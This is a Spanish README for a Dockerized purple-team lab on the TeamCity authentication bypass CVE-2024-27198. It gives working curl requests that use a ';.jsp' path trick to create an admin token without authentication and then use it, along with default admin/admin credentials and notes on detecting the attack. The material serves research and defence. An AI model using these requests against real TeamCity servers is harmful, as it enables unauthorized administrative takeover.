Laboratorio para el CVE-2024-27198
Laboratorio de investigación de vulnerabilidades y demostración de Purple Team para el bypass de autenticación de JetBrains TeamCity (CVE-2024-27198)
TeamCity proporciona una página exclusiva para administradores para la gestión de tokens que no está protegida por autenticación. Esto permite que un usuario no autenticado genere un token de acceso para el usuario administrador si puede encontrar el ID de un usuario existente.
Este repositorio contiene un laboratorio Dockerizado completo y reproducible con entornos de TeamCity vulnerable (:8111) y parcheado (:8112), scripts de explotación automatizados (exploit.py), guías de búsqueda de registros para Blue Team y un simulador de eventos SIEM en vivo (siem_simulator.py).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
La vulnerabilidad reside en el mecanismo de enrutamiento de la API REST. Al añadir caracteres específicos (como ?jsp=/app/rest/...;.jsp) a un endpoint no autenticado, los atacantes pueden engañar al servidor web de TeamCity para que enrute la solicitud a un endpoint autenticado mientras eluden los filtros de seguridad. Esto no requiere ningún conocimiento ni acceso previo, lo que lo convierte en un CVSS puro de 9.8.
Para obtener una copia local de este laboratorio y ponerlo en funcionamiento, siga estos sencillos pasos de ejemplo.
curlgit clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
cd CVE-2024-27198_Lab
docker compose up -d
Nombre de usuario:
admin
Contraseña:
admin
Solicitud GET para un recurso sin autenticación:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Ambos deberían devolver un error con el código de estado 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Esto debería devolver un token como este (el token es diferente cada vez):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Esto debería devolver un error con el código de estado 401 porque la instancia parcheada no tiene la vulnerabilidad.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Debería devolver la lista de usuarios.
Durante la demostración en el laboratorio, puedes mostrar un hallazgo masivo del Blue Team: por defecto, ¡esta vulnerabilidad es increíblemente sigilosa!
;.jsp no se registran.Entonces, ¿cómo lo detectamos? ¡Cuando el atacante borra sus rastros! Cuando el atacante elimina su token malicioso para ocultarse, TeamCity sí registra eso.